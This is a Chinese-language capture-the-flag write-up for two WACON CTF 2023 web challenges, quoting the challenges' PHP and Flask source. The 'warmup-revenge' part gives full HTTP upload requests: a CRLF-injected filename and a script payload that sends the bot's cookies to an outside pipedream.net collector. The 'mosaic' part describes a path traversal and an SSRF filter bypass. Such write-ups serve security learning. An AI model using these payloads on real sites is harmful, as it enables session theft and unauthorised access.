2023/09/07:WACONCTF2023

https://hackmd.io/@sahuang/rkHD37ZA3
啥也没写出来,留个记录

warmup-revenge

文件上传+xss

查看源代码,注意到有bot.js,打开文件有setCookie函数,确认xss可能
有两个关键页面:
download.php:用来下载上传的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include('./config.php');
ob_end_clean();

if(!trim($_GET['idx'])) die('Not Found');

$query = array(
'idx' => $_GET['idx']
);

$file = fetch_row('board', $query);
if(!$file) die('Not Found');

$filepath = $file['file_path'];
$original = $file['file_name'];

if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-transfer-encoding: binary");
} else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
header("content-description: php generated data");
} else {
header("content-length: ".filesize($filepath));
header("content-disposition: attachment; filename=\"$original\"");
header("content-description: php generated data");
}
header("pragma: no-cache");
header("expires: 0");
flush();

$fp = fopen($filepath, 'rb');

$download_rate = 10;

while(!feof($fp)) {
print fread($fp, round($download_rate * 1024));
flush();
usleep(1000);
}
fclose ($fp);
flush();
?>

report.php:报告给bot以管理员身份访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php 
include("config.php");
if(!is_login()) die("login plz");

if($_SERVER["REQUEST_METHOD"] == "GET") {
if(isset($_GET["idx"]) && isset($_GET['path'])) {
if(isset($_SESSION["report"]) && $_SESSION["report"] + 30 > time()) {
die("Too fast");
}

if(!fetch_row('board', array('idx' => $_GET['idx'], 'username' => $_SESSION['username']), 'and')) {
die("Not found");
}

$address = gethostbyname("bot");
$port = 5000;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if($socket === false) {
die("error! plz contact admin");
}
$result = socket_connect($socket, $address, $port);

if($result === false) {
die("error! plz contact admin");
}
$report_url = "http://webserver/".$_GET['path']."?p=read&idx=".$_GET['idx'];
socket_write($socket, $report_url, strlen($report_url));
socket_close($socket);
$_SESSION["report"] = time();
die("done");
} else {
die("Invalid parameter");
}
} else {
die("nop");
}
?>

首先要注意的是,我们有一个IDOR(不安全的直接对象引用),让我们通过ID访问任何文件来下载,并且某种CRLF(回车符)能让我们覆盖content-disposition,使响应为文件内容下载的内联页面而不是下载文件,并且没有在页面上显示内容使得 XSS 成为可能

1
header("content-disposition: attachment; filename=\"$original\"");

可以通过回车重写请求头,像这样:asdf\rjunk.html
board.php可以将文件以附件形式上传,代码如下:

1
$insert['file_name'] = $_FILES['file']['name'];

存在回车绕过可能
存在CSP:

1
Content-Security-Policy: default-src 'self'; style-src 'self'

这个CSP允许我们包含来自同一个域的脚本,一个简单的绕过就是先上传一个包含javascript代码的文件来执行,然后再上传另一个文件来包含download.php页面上的js代码
第一个请求如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 681
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644
Connection: close

------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="title"

testy
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="content"

asdf
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="level"

1
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="file"; filename="myFile.html"
Content-Type: text/html

document.location="https://enwau6gu4zv3.x.pipedream.net/?x=".concat(encodeURIComponent(document.cookie));
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="password"

benjeddou
------WebKitFormBoundarydFZmSiashN04RJ1C--

获得上传的文件:http://58.225.56.195/download.php?idx=
上传第二个文件,其名称中包含回车符,以便将第一个文件作为脚本加载。\r在下面请求中被替换为回车,因为执行url编码不能正确工作,所以需要在burpsuite改变十六进制请求来注入回车。
第二个请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /board.php?p=write HTTP/1.1
Host: 58.225.56.195
Content-Length: 681
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://58.225.56.195
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://58.225.56.195/board.php?p=write
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644
Connection: close

------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="title"

testy
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="content"

asdf
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="level"

1
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="file"; filename="AA\r.html"
Content-Type: text/html

<script src="/download.php?idx=975"></script>
------WebKitFormBoundarydFZmSiashN04RJ1C
Content-Disposition: form-data; name="password"

benjeddou
------WebKitFormBoundarydFZmSiashN04RJ1C--

以上可以通过http://58.225.56.195/download.php?idx=… 访问,通过bot使用http://58.225.56.195/report.php?path=download.php&idx=… 获得flag

mosaic

文件上传+文件包含+SSRF

查看原代码,该网页允许上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = os.path.basename(file.filename)
guesstype = mimetypes.guess_type(filename)[0]
image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
if type_check(guesstype):
file.save(image_path)
return render_template("upload.html", image_path = image_path)
else:
return "Allowed file types are png, jpeg, jpg, zip, tiff.."
return render_template("upload.html")

可以通过/mosaic访问上传图像的马赛克版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
image_url = request.form.get('image_url')
if image_url and "../" not in image_url and not image_url.startswith("/"):
guesstype = mimetypes.guess_type(image_url)[0]
ext = guesstype.split("/")[1]
mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)

apply_mosaic(image, mosaic_path)
return render_template("mosaic.html", mosaic_path = mosaic_path)
else:
return "Plz input image_url or Invalid image_url.."
return render_template("mosaic.html")

可以发现flag文件如下:

1
2
3
4
if os.path.exists("/flag.png"):
FLAG = "/flag.png"
else:
FLAG = "/test-flag.png"

在路径/flag.png
由此,可以尝试上传文件./file.zip/flag.png./file.zip#flag.png
存在目录遍历:

1
2
3
4
5
6
7
8
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

可以使用用户名../绕过获得管理员密码文件password.txt,以此登录管理员账号
由以上代码,需从localhost访问,在/mosaic存在ssrf

1
2
3
4
5
6
7
8
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)

对于http://可以使用Http://代替,可以使用Http://localhost:9999/#test.png 绕过,访问http://58.229.185.52:9999/check_upload/@admin/flag.png